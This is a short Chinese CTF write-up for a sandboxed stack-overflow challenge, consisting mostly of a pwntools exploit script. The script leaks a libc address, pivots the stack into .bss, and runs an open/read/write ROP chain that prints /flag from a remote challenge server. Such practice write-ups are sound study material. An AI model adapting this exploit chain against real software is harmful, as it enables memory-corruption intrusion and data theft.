这题有些许复杂,但也并没有
ROP的ORW还是第一次做,之前接触到的都是shellcode形式的
利用libc的gadget是个很好的思路,能获得大量有益的gadget
?栈溢出但是沙箱,需要orw
?但是溢出长度仅有0x30——需要栈迁移
from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')
# libc-gadgets
# 0x0000000000023b6a : pop rdi ; ret
# 0x000000000002601f : pop rsi ; ret
# 0x0000000000142c92 : pop rdx ; ret
# 0x000000000002f70a : pop rsp ; ret
# elf-gadgets
# 0x0000000000401393 : pop rdi ; ret
vuln=0x04012C0
rdi=0x401393
# io=process('./pwn')
io=remote('node5.anna.nssctf.cn',28012)
elf=ELF('./pwn')
libc=ELF('./libc-2.31.so')
# gdb.attach(io)
# input()
### leak_libc
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
payload=b'a'*0x108+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendlineafter(b'task.\n',payload)
puts_real=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts_real:'+hex(puts_real))
libc_base=puts_real-libc.sym['puts']
success('libc_base:'+hex(libc_base))
### read_bss
bss_base=elf.bss()
# read(int fd, void *buf, size_t count);
read_real=libc_base+libc.sym['read']
fd=0
buf=bss_base+0x100
count=0x200
rdi=libc_base+0x23b6a
rsi=libc_base+0x2601f
rdx=libc_base+0x142c92
rsp=libc_base+0x2f70a
# payload=b'a'*0x108+p64(rdi)+p64(fd)+p64(rsi)+p64(buf)+p64(rdx)+p64(count)+p64(read_real)+p64(rsp)+p64(buf+8)
# 利用到这个阶段时,寄存器残留值,可以减少payload的长度,刚好在这里用满了溢出的0x30字节
# p64(rsp)+p64(buf+8),修改rsp的值,+8是因为头部放了flag\x00
payload=b'a'*0x108+p64(rsi)+p64(buf)+p64(read_real)+p64(rsp)+p64(buf+8)
io.send(payload)
### rop->bss
payload=b'/flag'.ljust(8,b'\x00')
# open(const char *pathname, int flags)
open_real=libc_base+libc.sym['open']
pathname_ptr=buf
flags=0
payload+=p64(rdi)+p64(pathname_ptr)+p64(rsi)+p64(flags)+p64(open_real)
# read(int fd, void *buf, size_t count);
fd=3
buf2=buf+0x300
count=0x100
payload+=p64(rdi)+p64(fd)+p64(rsi)+p64(buf2)+p64(rdx)+p64(count)+p64(read_real)
# write(int handle,void* buf,int length)
write_real=libc_base+libc.sym['write']
handle=1
buf3=buf2
length=0x50
payload+=p64(rdi)+p64(handle)+p64(rsi)+p64(buf3)+p64(rdx)+p64(length)+p64(write_real)+p64(vuln)
# payload+=p64(rsi)+p64(buf3)+p64(rdx)+p64(length)+p64(write_real)+p64(vuln)
io.send(payload)
sleep(1)
io.recv()
io.interactive()